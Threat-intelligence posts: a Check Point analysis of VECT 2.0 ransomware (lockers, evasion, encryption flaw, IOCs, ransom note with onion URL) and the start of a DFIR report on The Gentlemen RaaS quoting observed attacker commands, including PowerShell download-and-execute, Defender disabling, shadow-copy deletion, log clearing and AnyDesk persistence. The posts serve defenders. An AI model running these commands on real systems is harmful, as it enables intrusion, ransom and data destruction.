The ESXi variant also performs a zero-block check before each encryption call, where chunks consisting entirely of zero bytes are skipped (an optimization for sparse VMDK files). This does not affect the nonce flaw; the shared buffer is still overwritten on each non-skipped call and only the final surviving nonce reaches disk.

The flaw predates VECT 2.0. CPR’s analysis of an older ESXi variant identified in the wild prior to the 2.0 release confirms the identical four-chunk loop, quarter-offset calculation, shared nonce buffer, and single EOF nonce write – unchanged from the operator’s first publicly observed deployment through every known release.

Impact

File regionNonce on diskRecoverable
Small file ≤ 128 KB – full contentYes – appended at EOFFully
Large file – chunk at offset 0 (up to 32 KB)NoPermanently lost
Large file – chunk at offset ¼ (up to 32 KB)NoPermanently lost
Large file – chunk at offset ½ (up to 32 KB)NoPermanently lost
Large file – chunk at offset ¾ (up to 32 KB)Yes – appended at EOFLast chunk only
Large file – all bytes outside the four chunksN/A – not encryptedPlaintext, unchanged

Files commonly exceeding 128 KB span virtually everything from typical office documents, spreadsheets, and images to virtual machine disk images, database files, archives, and backups – precisely those most critical to business continuity and most targeted by ransomware operators. For this dominant file class, VECT 2.0 cannot function as recoverable ransomware; it is operationally a data wiper. Victims who pay the ransom cannot receive a functional decryptor for their most critical files – not because the operator is uncooperative, but because the nonces required for decryption no longer exist.

Windows Locker

The Windows variant targets local, removable, and network-accessible storage, renames encrypted files with the .vect extension, drops a ransom note and a branded desktop wallpaper, and executes defense-evasion, persistence, and lateral-movement routines. Of particular note is a comprehensive anti-analysis suite targeting 44 specific security and debugging tools, alongside a safe-mode persistence mechanism and multiple remote-execution methods for lateral spread.

Command-Line Interface and Default Behavior

The locker exposes the following operator options:

  -h, --help          Help
  -v, --verbose       Verbose output
  -p, --path <dir>    Target specific path
  -c, --creds <b64>   Override credentials
  --gpo               Enable GPO spread (default: on)
  --no-gpo            Disable GPO spread
  --mount             Enable network mount (default: on)
  --no-mount          Disable network mount
  --stealth           Enable self-delete (default: on)
  --no-stealth        Disable self-delete
  --force-safemode    Force safemode boot
Figure 11: VECT 2.0 Windows version – command-line arguments processing.

GPO spread, network mounting, and self-deletion are all on by default. An operator deploying without flags, for example via Group Policy or a remote execution primitive, activates the full impact chain automatically, including spread, hidden volume access, and post-execution cleanup.

File Encryption and Renaming

Each target file is renamed to append .vect before encryption. The file is then opened in-place and encrypted using the ChaCha20-IETF scheme described in the preceding section. The nonce flaw applies identically: files larger than 131,072 bytes (128 KB) lose the first three chunk nonces permanently, thus resulting in large file destruction rather than encryption.

The encryption engine spawns worker threads in a fixed 1:7 scanner-to-encryptor ratio derived from a CPU-count-tiered multiplier: ×8 for machines with up to 4 CPUs, ×6 for 5-8 CPUs, and ×4 beyond that, hard-capped at 256 total. On a typical 8-CPU target, this produces 6 scanner and 42 encryptor threads simultaneously competing for the same disk I/O channels – overkill by any measure, and a thread count that would make any seasoned ransomware developer laugh. Families like LockBit cap their pools at 1-2× CPU count for good reason; spawning six times as many threads as there are CPUs does not encrypt files faster; it simply means the operating system spends more time switching between threads than doing useful work. This is a textbook mistake made by developers who read about parallelism but skipped the part about profiling. The fact that it is shipped in a supposedly operational ransomware tool speaks volumes about the maturity of whoever is behind this project.

Figure 12: VECT 2.0 Windows version – 48 threads for 8-CPU target.

Ransom Note and Wallpaper

After encrypting each drive target, the locker drops !!!READ_ME!!!.txt, assembled from multiple decoded string fragments (see the ransom note in the Appendix). Then, it generates a replacement desktop wallpaper (dvm3_wall.bmp) that carries the VECT 2.0 brand banner, as shown in the image below.

Figure 13: The desktop wallpaper used by the VECT 2.0 Windows locker version.

Target Selection and Exclusions

Drive enumeration covers logical drives and network-mapped resources. The file selection logic skips the following to leave the operating system functional enough for the victim to access the payment portal:

Excluded directories: Windows, Windows.old, Boot, $Recycle.Bin, System Volume Information, Program Files, Program Files (x86), ProgramData

Excluded boot files: bootmgr, bootmgr.efi, bootmgfw.efi, bootsect.bak, boot.ini, ntldr

Excluded extensions: .exe, .dll, .sys

These represent the builder defaults; affiliates may configure additional exclusions at sample generation time.

Process and Service Disruption

When running with elevated privileges, the locker stops services via the Windows Service Control Manager and terminates the following processes to release file handles before encryption begins: sql.exe, oracle.exe, mysqld.exe, excel.exe, winword.exe, outlook.exe, firefox.exe, thunderbird.exe.

Unlike typical RaaS offerings where affiliates can customize kill lists, this list is hardcoded by the builder and cannot be modified at sample generation time.

Persistence and Safe-Mode Preparation

When --force-safemode is active, the locker executes bcdedit /set {default} safeboot minimal to configure the next boot into minimal safe mode, then writes its own executable path into the Windows registry under the safe-boot service load path with value "Service". This ensures the locker runs on the subsequent safe-mode boot, where the majority of security products are disabled. After completing execution, the boot configuration entry is removed to avoid persistent boot loops. Task Manager is also disabled via the registry for the duration of execution.

Lateral Movement

The locker contains multiple encoded remote-execution script templates enabling propagation to additional Windows hosts using operator-supplied credentials (--creds). Methods include: admin share file copy, Windows Credential Manager storage via cmdkey, WMI execution, DCOM/MMC application instantiation, remote scheduled task creation, remote service installation via sc.exe, and PowerShell remoting. Host discovery combines Windows domain enumeration with a local subnet sweep using network adapter information.

Anti-Analysis

The Windows variant implements three layered analyst-environment detection mechanisms. All three detection mechanisms are present in compiled form but are never invoked. The cross-reference analysis confirms zero call sites reach any of the three functionalities in this build. This is consistent with a conditional compilation flag that was left disabled at build time, and represents a meaningful gap: an analyst running this sample under any of the targeted tools will not trigger any evasive response.

No code obfuscation is applied, although the most operator-facing strings are concealed using a rotating 64-bit XOR scheme: each byte is XORed against the corresponding byte of a fixed 64-bit key, cycling through all eight key bytes.

Figure 14: An example XOR-based string decryption (Windows locker).
  • Running-process scan
    A full process snapshot is taken and each process name is compared against a hardcoded list of 44 analysis tools (originally 47, but we removed the duplicates), covering debuggers, import reconstructors, PE utilities, process monitors, network sniffers, and sandbox controllers (the full list of detected tools can be found in the Appendix section).
Figure 15: Detection of 44 analysis tools.
  • Parent process check
    The parent process image path is retrieved and matched against a list of debugging environments: devenv, windbg, x64dbg, x32dbg, ollydbg, ida. A process launched from any of these is treated as running under analysis.
  • Kernel debug-object query
    The Windows native API NtQueryInformationProcess is resolved dynamically from ntdll.dll at runtime avoiding static import detection and queried for the ProcessDebugObjectHandle information class. A non-null return indicates an attached debugger.

Defense Evasion and Cleanup

ActionMethod
Disable Windows DefenderSet-MpPreference via PowerShell disables realtime, behavior, IOAV, and script scanning
Delete shadow copiesvssadmin delete shadows /all /quiet
Clear event logswevtutil cl Application, Security, System, Windows PowerShell
Delete PowerShell historyPSReadLine\\ConsoleHost_history.txt
Delete recent file entries%APPDATA%\\Microsoft\\Windows\\Recent\\*
Self-deleteDelayed cmd /c with ping stall followed by forced deletion

ESXi Locker – The Hypervisor Ransomware

The ESXi variant of the VECT ransomware targets VMware ESXi hypervisors and employs geofencing and anti-debugging before disrupting various system services, wiping logs, and encrypting victim files, defaulting to the VMware File System mount point at /vmfs/volumes. The malware also supports SSH-based lateral movement, where the ransomware tries to use available credentials to connect to known SSH hosts.

Anti-Analysis and Geofencing

Before executing any malicious code, the ransomware employs two simple anti-analysis checks: First, it checks if it is running in a CIS state, and if so, exits without encryption. The malware runs timedatectl and compares the time zones against a blacklist and checks the LANG and LC_ALL environment variables, validating that the country code does not match one of the excluded countries.

Figure 16: Country code blacklist.

Before 2022 CIS checks were very common in RaaS malware. During the start of the Russo-Ukrainian war, most RaaS programs removed Ukraine from the CIS countries list. During recent years these checks have been largely removed from ransomware. VECT including such checks and even adding Ukraine to the list of exclusions is rather uncommon. Check Point Research has two theories regarding this observation: either this code was AI generated, where LLMs were trained with Ukraine being part of CIS or VECT used an old code base for their ransomware.

Additionally to these checks, the malware probes for the presence of a debugger by checking the value of TracerPid in /proc/self/status, exiting if any tracing process is found.

To obfuscate from basic static analysis, the authors decided to implement strings as stack strings. Some strings, most notably the different command line options, are additionally XORed with a single byte key:

Figure 17: XOR encrypted command line switches (ESXi variant).

Command-Line Interface and SSH lateral movement

The following command line options are available:

  --path <dir>       Target directory (default: /vmfs/volumes)
  --spread           Enable SSH lateral movement
  --fast             Fast mode: encrypt only 1MB
  --medium           Medium mode: encrypt 4 parts (64MB each)
  --secure           Secure mode: encrypt 100% (default)
  --no-kill-vms      Don't kill running VMs (encrypt only)
  --verbose          Enable verbose output
  --help             Show this help message

Operators can seemingly decide between three different encryption methods, --fast, --medium, and --secure, to find a tradeoff between speed and thoroughness of the encryption – however, the ransomware does not actually implement these different modes – the code parses them into variables, but they are never read back. Every execution, regardless of operator-selected flag, applies the same hardcoded thresholds: 131,072-byte large-file boundary and 32,768-byte maximum chunk size. The same goes for the Linux variant we describe further below.

If the --spread option is supplied, the malware tries to spread laterally like an SSH based worm:

  • All readable keys from the home and /root directories are extracted
  • /etc/ssh/ssh_config and ~/.ssh/config are read and parsed for any hostnames and corresponding usernames
  • All known_hosts files are zeroed out to avoid any host-key warnings
  • For each host, the locker tries to connect with each of the collected usernames as well as a hardcoded list of common usernames
  • If a connection succeeds, the malware copies itself over via scp and executes itself via ssh

Service Disruption, Log Wiping and Encryption

Before running any encryption, the malware makes sure to shut down any services that could hold any file locks or could otherwise interfere with the process. It starts by disabling the ESXi firewall via the esxcli utility, as well as specific firewall rulesets and shutting down various ESXi health monitoring processes:

Figure 18: The esxcli commands to disable the firewall and rulesets.

Afterwards, it proceeds with shutting down other services and processes, like databases, backup tools, Hypervisor related services and security products. Shutdown is either attempted gracefully, via systemctl stop and service stop, or aggressively via pkill -9 and systemctl disable --now . A full list of targeted services can be found in the Appendix.

To remove any locks from virtual machine disk files, the VECT locker invokes various legitimate administration utilities to shut down any running virtual machines. However, contrary to its name, the locker not only targets ESXi but also other common Hypervisors:

ToolHypervisor targeted
vmware-cmd / vmrunVMware products
VBoxManageOracle VirtualBox
virshlibvirt / KVM / QEMU
esxcliVMware ESXi
xm / xlXen Hypervisor

Next, various shell history files and logs in /var/log are removed or zeroed-out. This includes logs from hypervisors, container services, databases, web servers, audit logs or other system logs and journals (see the Appendix for a complete list).

After this prelude, the actual encryption process is kicked off: If no path is supplied, the default path of /vmfs/volumes is used, which is the default VMware File System (VMFS) mount point for all datastores. In a multi-threaded process, each datastore is searched for files to encrypt. The ransomware maintains a sensible blacklist, which excludes several directories hosting mainly executables, system files or config files:

/proc, /sys, /dev, /bin, /sbin, /lib64, /usr, /etc, /boot, /var/run, /var/lib, /bootbank, /altbootbank, /store, /locker, /vmfs/volumes/.sdd.sf, /vmfs/volumes/.fbb.sf, /vmfs/volumes/.fdc.sf, /vmfs/volumes/.pb, /vmfs/volumes/.vh

Again, the thread count is chosen rather excessively, by multiplying the amount of CPU cores by 4, clamping the value between a minimum of 32 and a maximum of 256.

By sharing a codebase with the other versions, see encryption process is the same and contains the same flaw in its implementation: it only includes the latest nonce when chunk-processing a big file:

Figure 19: Encryption flaw (ESXi version).

Finally, if the malware was configured to do so, the ransom note is dropped to /home, /root and /tmp, as well as in various system paths:

PathPurpose
/etc/motdLogin banner (message of the day)
/etc/issuePre-login system banner
/etc/issue.netNetwork login banner
/etc/profile.d/vector_notice.shShell script displaying the note, ran on shell login

Linux Locker

The Linux version is built on the same codebase as the ESXi and implements a subset of its functionality. This becomes apparent when comparing the execution flow of the main functions side-by-side:

Figure 20: Execution flow ESXi locker (left) vs. Linux locker (right).

Just like the ESXi version, the malware first kills any services and processes that could interfere with the encryption, shuts down any VMs (interestingly also including ESXi VMs) and wipes system logs and shell history files. Then, encryption is started, with the system root / as the default path and ransom notes are written to disk. The Linux locker, just like its ESXi counterpart, supports the --spread SSH lateral movement functionality. Due to the shared codebase, the locker also fails to save the first three nonces when encrypting large files, making fill recovery of big files impossible.

The Linux version also has another oversight in the implementation of the encryption. Just like in the ESXi locker, the command line flags are supposed to be encrypted, but the authors accidentally designed a double XOR encryption scheme, which cancels out the encryption and leads to plain text strings being present in the binary:

Figure 21: Double XOR “encryption”.

On a side note, even the ASCII art is broken because the developers forgot to escape the backslash characters:

Figure 22: Broken ASCII art.

Conclusion

VECT 2.0 presents an ambitious threat profile with multi-platform coverage, an active affiliate program, supply-chain distribution via the TeamPCP partnership, and a polished operator panel. In practice, the technical implementation falls significantly short of its presentation.

Check Point Research’s analysis reveals that the ransomware’s encryption flaw is not a minor edge case but a fundamental design error affecting virtually every file of consequence. At a threshold of only 128 KB, smaller than a typical email attachment or office document, what the code classifies as a large file encompasses not just VM disks, databases, and backups, but routine documents, spreadsheets, and mailboxes. In practice, almost nothing a victim would care to recover falls below this boundary.

The nonce-handling bug is identical across all three platform variants and as confirmed through analysis of an earlier variant identified in the wild prior to the VECT 2.0 release, has been present since the operator’s first publicly observed deployment. It has never been corrected. Victims who pay the ransom cannot receive a working decryptor for their largest files, not through operator deception, but because the information required for decryption was irrecoverably destroyed at the moment of encryption. An overly aggressive thread scheduler that actively harms encryption throughput, and three fully compiled but permanently unreachable anti-analysis routines, further reinforce this assessment: the authors know what features a professional ransomware tool should have, but demonstrably struggled to implement them correctly or at all.

Beyond the nonce flaw, CPR identified a pattern of incomplete implementation: advertised encryption modes that are parsed but never applied, string obfuscation routines that accidentally cancel themselves out, and a cipher incorrectly described in public reporting. Together these findings paint a picture of a group with operational ambition, reflected in the BreachForums open-affiliate model and the TeamPCP supply-chain campaign, but with cryptographic and software engineering maturity that does not match the scale of the operation they are attempting to run.

The announcement of forthcoming “Cloud Lockers” and the low technical barrier introduced by the open-affiliate model both warrant continued monitoring. As CPR has demonstrated, the current implementation has severe limitations but those can be corrected in a future version, and the distribution infrastructure to deploy such a version at scale already exists.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.

IOCs

SHA-256VECT Version
a7eadcf81dd6fda0dd6affefaffcb33b1d8f64ddec6e5a1772d028ef2a7da0f2ESXi
58e17dd61d4d55fa77c7f2dd28dd51875b0ce900c1e43b368b349e65f27d6fddESXi
e1fc59c7ece6e9a7fb262fc8529e3c4905503a1ca44630f9724b2ccc518d0c06Linux
8ee4ec425bc0d8db050d13bbff98f483fff020050d49f40c5055ca2b9f6b1c4dWindows
9c745f95a09b37bc0486bf0f92aad4a3d5548a939c086b93d6235d34648e683fWindows
e512d22d2bd989f35ebaccb63615434870dc0642b0f60e6d4bda0bb89adee27aWindows

Appendix

Analysis tools detected by Windows locker:

ollydbg.exex64dbg.exex32dbg.exewindbg.exe
x96dbg.exeida.exeida64.exeidag.exe
idag64.exeidaw.exeidaw64.exeidaq.exe
idaq64.exeimmunitydebugger.exeImportREC.exeMegaDumper.exe
scylla.exescylla_x64.exescylla_x86.exeprotection_id.exe
reshacker.exeResourceHacker.exeprocesshacker.exeprocexp.exe
procexp64.exeprocmon.exeprocmon64.exeautoruns.exe
autorunsc.exefilemon.exeregmon.exewireshark.exe
dumpcap.exehookexplorer.exePETools.exeLordPE.exe
SysInspector.exeproc_analyzer.exesysAnalyzer.exesniff_hit.exe
joeboxcontrol.exejoeboxserver.exefiddler.exehttpdebugger.exe

Services targeted by Linux/ESXi locker:

acronisacronis_agentaideamanda
avastavgBackupExecAgentbareos-fd
bitdefenderborgcarbonblackcassandra
cb-sensorchkrootkitclamavclamav-daemon
clamav-freshclamclamdcockroachconsul
couchdbcylanceesetetcd
falcon-sensorfreshclaminfluxdbkaspersky
kvmlibvirtdlynismariadb
mariadbdmcafeememcachedmongod
mongodbmysqlmysqldneo4j
ossecpostgrespostgresqlqemu
rclonerdiff-backupredisredis-server
resticrkhunterrsnapshotsentinelone
sophossymantecsyncthingtripwire
vboxaddVBoxClientvboxdrvVBoxHeadless
vboxserviceVBoxServiceveeamVeeamDeploymentSvc
virt-installvirt-managervmwarevmware-authd
vmware-hostdvmware-rawdiskCreatorvmware-trayvmware-usbarbitrator
vmware-uservmware-vmxvmware-vprobewazuh
wazuh-agentxenxenconsoledxend
xenstored

Logs targeted by Linux/ESXi locker:

Log files: /var/log/syslog, /var/log/messages, /var/log/debug, /var/log/secure, /var/log/auth.log, /var/log/kern.log, /var/log/daemon.log, /var/log/user.log, /var/log/mail.log, /var/log/mail.err, /var/log/cron.log, /var/log/boot.log, /var/log/dmesg, /var/log/faillog, /var/log/lastlog, /var/log/tallylog, /var/log/wtmp, /var/log/btmp, /var/log/utmp, /var/run/utmp

Rotate logs (Wildcards): /var/log/syslog.*, /var/log/messages.*, /var/log/auth.log.*, /var/log/auth.log*, /var/log/secure.*, /var/log/secure*, /var/log/kern.log.*, /var/log/*.gz, /var/log/*.1, /var/log/*.old, /var/log/cron*, /var/log/ufw.log*, /var/log/firewalld*, /var/log/audit/audit.log*, /var/log/dpkg.log*, /var/log/yum.log*, /var/log/dnf.log*, /var/log/apt/*, /var/log/cloud-init*.log

Application specific logs: /var/log/apache2/*, /var/log/httpd/*, /var/log/nginx/*, /var/log/mysql/*, /var/log/postgresql/*, /var/log/mongodb/*, /var/log/redis/*, /var/log/docker/*, /var/log/containers/*, /var/log/pods/*, /var/log/journal/*, /run/log/journal/*, /tmp/*.log, /var/tmp/*.log

Shell & command history files: .bash_history, .zsh_history, .mysql_history, .psql_history, .python_history, .lesshst, .viminfo , /root/.ash_history (ESXi locker only)

ESXi specific logs: /var/log/vmkernel.log, /var/log/vmkwarning.log, /var/log/vmksummary.log, /var/log/hostd.log, /var/log/vpxa.log, /var/log/fdm.log, /var/log/shell.log, /var/log/syslog, /var/log/vobd.log, /var/log/vmware/*

Ransom Note:

  !!! README !!!                                                                                                                                                                             
  
  ===============                                                                                                                                                                            
   :::     ::: :::::::::: :::::::: :::::::::::                                                                                                                                             
   :+:     :+: :+:       :+:    :+:    :+:                                                                                                                                                   
   +:+     +:+ +:+       +:+           +:+                                                                                                                                                   
   +#+     +:+ +#++:++#  +#+           +#+
    +#+   +#+  +#+       +#+           +#+
     #+#+#+#   #+#       #+#    #+#    #+#
       ###     ########## ########     ###
  ===============

  Dear Management, all of your files have been encrypted with ChaCha20 which is an unbreakable encryption algorithm.
  Sadly, this is not the only bad news for you. We have also exfiltrated your sensitive data, consisting mostly of databases, backups and other personal information
  from your company and will be published on our website if you do not cooperate with us.

  The only way to recover your files is to get the decryption tool from us.

  To obtain the decryption tool, you need to:
  1. Open Tor Browser and visit: <http://vectordntlcrlmfkcm4alni734tbcrnd5lk44v6sp4lqal6noqrgnbyd.onion/chat/REDACTED>
  2. Follow the instructions on the chat page
  3. Receive a sample decryption of up to 4 small files
  4. We will provide payment instructions
  5. After payment, you will receive decryption tool

  WARNING:
  - Do not modify encrypted files
  - Do not use third party software to restore files
  - Do not reinstall system

  If you violate these rules, your files will be permanently damaged.

  Files encrypted: [N]
  Total size: [size] bytes
  Unique ID: REDACTED

  Backup contact (Qtox): 1A51DCBB33FBF603B385D223F599C6D64545E631F7C870FFEA320D84CE5DAF076C1F94100B5B

The post VECT: Ransomware by design, Wiper by accident appeared first on Check Point Research.

  •  

DFIR Report – The Gentlemen & SystemBC: A Sneak Peek Behind the Proxy

Key Points

  • The Gentlemen ransomware‑as‑a‑service (RaaS) program is rapidly gaining popularity, attracting numerous affiliates and publicly claiming over 320 victims, with the majority of attacks (240) occurring in the first months of 2026.
  • The service provides a broad locker portfolio implemented in Go for WindowsLinuxNAS, and BSD, plus an additional locker written in C for ESXi, enabling coverage of the multiple platforms commonly found in corporate environments.
  • During an incident response engagement, an affiliate associated with The Gentlemen attempted to deploy SystemBC, a proxy malware frequently leveraged in human‑operated ransomware operations for covert tunneling and payload delivery.
  • Check Point Research observed victim telemetry from the relevant SystemBC command‑and‑control server, revealing a botnet of over 1,570 victims, with the infection profile strongly suggesting a focus on corporate and organizational environments rather than opportunistic consumer targeting.


The Gentlemen RaaS

The Gentlemen ransomware‑as‑a‑service (RaaS) operation is a relatively new group that emerged around mid‑2025. The operators advertise their services across multiple underground forums, promoting their ransomware platform and inviting penetration testers (and other technically skilled actors) to join as affiliates.

Figure 1 — The Gentlemen post on underground forums.

The RaaS provides affiliates with multi‑OS lockers for Windows, Linux, NAS, BSD implemented in Go, and an additional locker for ESXi implemented in C. The group also grants verified partners access to EDR‑killing tools and its own multi‑chain pivot infrastructure (server and client components).

The group maintains an onion site where it publishes data stolen from victims who refuse to pay. Negotiations, however, are not conducted through this leak portal but via the individual affiliate’s Tox ID. Tox is a free, decentralized, peer‑to‑peer (P2P) instant messaging protocol that provides end‑to‑end encrypted voice, video, and text communication.

The group also appears to maintain a Twitter/X account, which is referenced in the ransomware note. Through this account, the operators publicly post about victims, likely to increase pressure on them to pay.

Figure 2 — The Gentlemen RaaS X/Twitter account.

To date, the group has publicly claimed a little over 320 victims, with the majority of infections occurring in 2026. This growth in activity suggests that The Gentlemen RaaS program has managed to attract a significant number of affiliates over the last few months.


SystemBC Infections

During an incident response case, an affiliate of The Gentlemen Ransomware‑as‑a‑Service (RaaS) deployed SystemBC, a proxy malware, on the compromised host. SystemBC establishes SOCKS5 network tunnels within the victim’s environment and connects to its C&C server using a custom RC4‑encrypted protocol. It can also download and execute additional malware, with payloads either written to disk or injected directly into memory.

The specific Command and Control server that was used for the communication had infected a large number of victims across the globe. It is likely that the majority of those victims are companies and organizations, given that SystemBC is typically deployed as part of human‑operated intrusion workflows rather than massive targeting.

Figure 3 — SystemBC global accesses.

There are over 1,570 victims, with the majority located in the United States, followed by the United Kingdom and Germany.

Figure 4 — Top 15 Infected countries.

Whether SystemBC is directly integrated into The Gentlemen ransomware ecosystem or is simply a tool leveraged by this particular affiliate for exfiltration and remote access remains unclear. At this time, Check Point Research has no evidence to determine the exact nature of this relationship.

Figure 5 — SystemBC infections panel.


DFIR Report – Timeline

Figure 6 – A high-level timeline of the attack

Initial Access and Establishment of Domain Control

The precise initial access vector could not be conclusively determined. The earliest stage of adversary activity that can be established with confidence is the attacker’s presence on a Domain Controller with Domain Admin–level privileges. From that position, the attacker appears to have performed systematic credential validation and host accessibility testing across the environment, as reflected in an initial pattern of failed network logons followed by successful authentications originating from the Domain Controller. This sequence is consistent with a controlled effort to verify privileged access and identify viable systems before expanding operations more broadly.

Remote Execution and Early Discovery

Using this privileged position, the attacker deployed Cobalt Strike payloads to remote systems by writing executables to administrative shares such as \\\\[REDACTED_HOSTNAME]\\ADMIN$\\<random_7_char>.exe and executing them via RPC. The first observed deployment occurred on an internal endpoint, after which similar activity appeared across additional hosts. Early post-compromise actions included reconnaissance commands such as cmd.exe /C systeminfo, cmd.exe /C whoami, and enumeration commands like cmd.exe /C dir c:\\users. The attacker also accessed internal documentation via cmd.exe /C type \\\\[REDACTED_HOSTNAME]\\d$\\...\\公司主機紀錄.txt, indicating use of environment-specific knowledge in addition to automated discovery. Expansion to other systems followed quickly, with repeated execution artifacts such as regsvr32.exe across multiple hosts confirming centrally driven activity.

Command-and-Control and Payload Staging

As execution expanded, the attacker attempted to establish additional command-and-control capabilities. On one compromised host, it staged the tool socks.exe – identified as a variant of SystemBC – was executed and attempted to communicate with 45.86.230[.]112, followed by validation using cmd.exe /C tasklist | findstr /i socks. This tool is commonly used to create SOCKS-based proxy channels for covert communication and internal pivoting. In this instance, however, the activity was blocked by endpoint protection. Shortly thereafter, a remotely executed payload (<random_7_char>.exe) spawned c:\\windows\\system32\\rundll32.exe, which established outbound communication to 91.107.247[.]163 Cobalt Strike C&C over ports 443 and later 80, indicating successful external command-and-control connectivity through alternative infrastructure.

At the same stage, PowerShell was executed from a scheduled task context using:

powershell.exe -ExecutionPolicy Bypass -command (new-object net.webclient).downloadfile('http://[REDACTED_DOMAIN_CONTROLLER]:8080/grand.exe', 'c:\\programdata\\r.exe'); c:\\programdata\\r.exe --password VvO8EtUh --spread [REDACTED_DOMAIN]\\[REDACTED_USER]:[REDACTED_PASSWORD]

This command downloaded grand.exe (the ransomware encryptor) from an internal staging server (DC) and executed it as c:\\programdata\\r.exe. The arguments --password VvO8EtUh and --spread [REDACTED_DOMAIN]\\[REDACTED_USER]:[REDACTED_PASSWORD] indicate both controlled execution and built-in propagation capability, marking a transition from initial access to coordinated malware deployment.

Defense Evasion, Propagation, and Persistence

Following execution of the staged payload, the attacker attempted to weaken host defenses using:

powershell.exe -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force

This disabled Windows Defender real-time monitoring. The same payload, identified by a consistent hash, then appeared across numerous systems under different filenames, including c:\\programdata\\r.exe, c:\\programdata\\g.exe, and c:\\programdata\\o.exe. This demonstrates rapid internal propagation via a shared malware component, supported by both domain-level access and the built-in spreading mechanism described earlier.

In parallel, the attacker performed environmental checks using commands such as:

cmd.exe /C wmic product where Name like '%kaspe%' get Name, IdentifyingNumber

Later, repeatedly executed across multiple hosts:

cmd.exe /C gpupdate /force

These attempts suggest the threat actor tried to influence or validate policy state during propagation. Remote Desktop was then enabled through commands such as:

cmd.exe /C reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /C netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Later, the attacker installed and configured AnyDesk using:

cmd.exe /C anydesk.exe --install C:\\Program Files (x86)\\AnyDesk\\anydesk.exe --start-with-win
cmd.exe /C echo Camry@12345 | C:\\Program Files (x86)\\AnyDesk\\AnyDesk.exe --set-password
cmd.exe /C anydesk.exe --start
cmd.exe /C anydesk.exe --get-id

This established a persistent remote access channel with a predefined password (Camry@12345), adding a secondary access mechanism after the SystemBC attempt was blocked.

Credential Access and Continued Discovery

Compromised hosts were also used for credential harvesting. Mimikatz output recovered from memory on one of the compromised endpoints showed access to credential material, including domain accounts and stored credentials from Credential Manager. This confirms that credential access occurred alongside lateral movement and malware deployment.

At the same time, the attacker continued discovery operations using commands such as:

cmd.exe /C query session
cmd.exe /C nltest /domain_trusts
cmd.exe /C nltest /dclist
cmd.exe /C net group "Domain Admins" /domain
cmd.exe /C net group "Enterprise Admins" /domain

These commands indicate enumeration of active sessions, domain trust relationships, domain controllers, and privileged groups, reflecting a shift toward understanding and potentially controlling the broader domain structure.

Consolidated View of the Intrusion

Taken together, the attack progressed from suspected perimeter access to domain-level control, followed by credential validation, remote payload execution via ADMIN$ shares, and rapid expansion across endpoints. This was accompanied by attempted and successful command-and-control establishment using infrastructure such as 45.86.230[.]112 and 91.107.247[.]163, staged malware delivery from the internal DC, and widespread propagation of a shared payload under multiple filenames. Defensive measures were actively suppressed, and multiple persistence and exfiltration mechanisms were introduced, including RDP and AnyDesk.

The failed deployment of SystemBC and the subsequent reliance on alternative channels demonstrate that the attacker adapted their approach when blocked. Overall, the activity reflects coordinated, centrally controlled execution with layered access mechanisms, resulting in broad, durable control over the environment.

Impact

The intrusion culminated in the deployment of The Gentlemen RaaS payload by an affiliate, using Group Policy as the distribution mechanism. A GPO‑based deployment was configured so that the ransomware binary was executed on domain‑joined systems during policy refresh, resulting in a rapid, near‑simultaneous encryption event across the environment.


The Gentlemen GO Ransomware

The Gentlemen ransomware is developed in the Go programming language. It appears to be under active development, with new features and capabilities being continuously added over time.

Command Line Arguments

The Gentlemen ransomware exposes a wide range of command‑line options that provide numerous features to its operators. While most flags are optional, the only mandatory argument required to start the encryption process is --password, which appears to be unique per build/infection.

Usage: %s --password PASS [--path DIR1,DIR2,...] [--T MIN] [--silent] [--wipe] [--keep] [--full/system/shares] [--gpo/spread] [--fast/superfast/ultrafast] 

  Main Flags 
  --password PASS    Access password (required)
  --path DIRS        Comma-separated list of target directories/disks (optional)
  --T MIN            Delay before start, in minutes (optional)

  Mode Flags (cant be mixed) 
  --system           Run as SYSTEM: encrypt only local drives (optional)
  --shares           Encrypt only mapped network drives and available UNC shares in session context (optional)
  --full             Two-phase: --system + --shares. Best practice. (optional)

  Additional Flags 
  --spread CREDS     Lateral movement: "domain/user:pass" with creds, or "" for current session
  --gpo              Deploy via Group Policy to all domain computers (run on DC)
  --silent           Silent mode: do NOT rename and modify time of files after encryption, no wallpaper(optional)
  --keep             Do not selfdelete after encryption (optional)
  --wipe             Wipe free space after encryption (optional)

  Speed Flags (cant be mixed) 
  --fast             9 percent crypt. (optional)
  --superfast        3 percent crypt. (optional)
  --ultrafast        1 percent crypt. (optional)

    Example 1: --password QWERTY --path "C:\\,D:\\,\\\\nas\\share" --T 15 --silent
    Example 2: --password QWERTY --system --fast
    Example 3: --password QWERTY --shares --T 10
    Example 4: --password QWERTY --full --ultrafast
    Example 5: --password QWERTY --full --spread "domain\\admin:P@ss"  # With credentials
    Example 6: --password QWERTY --T 10 --keep --spread ""                     # Current session
    Example 7: --password QWERTY --gpo --full --fast

[+]

The minimum required command‑line for The Gentlemen ransomware execution is:

$process_name --password $pass

The password is plaintext hardcoded in the binary validates it with the password provided in the required argument.

Figure 7 — Argument – Hardcoded Password comparison.

Processes & Services Termination

To terminate running processes, the malware repeatedly executes the following command in a loop for each targeted process:

  • taskkill /IM <process>.exe /F
CategoryProcesses targeted
VMware / Hyper-Vvmms, vmwp, vmcompute, vmacthlp, vmtoolsd, vmware, vmware-tray, vmware-vmx, vmwareuser
SQL Serversqlservr, sql, sqlbrowser, sqlwriter, SQLAGENT, sqlceip, sqbcoreservice, fdlauncher, fdhost, isqlplussvc, ReportingServicesService, Microsoft.SqlServer.Management, Microsoft.SqlServer.IntegrationServices.WorkerAgentServiceHost, DBeaver, Ssms, dbeng50, dbsnmp
MySQL / PostgreSQL / Oraclemysqld, oracle, postmaster, postgres, psql, pgAdmin3, pgAdmin4, ocssd, ocomm, ocautoupds
Backup & RecoveryDatto, cbService, cbVSCService11, cbInterface, MSP360, Macrium, Acronis, Carbonite, CrashPlan, Unitrends, StorageCraft, raw_agent_svc, vsnapvss, ShadowProtectSvc, Iperius, IperiusService, avagent, avscc, CagService
VeeamVeeamNFSSvc, VeeamTransportSvc, VeeamDeploymentSvc, Veeam.EndPoint.Service
CommvaultCVMountd, cvd, cvfwd, CVODS
SAPSAP, saphostexec, saposco, sapstartsrv, agntsvc
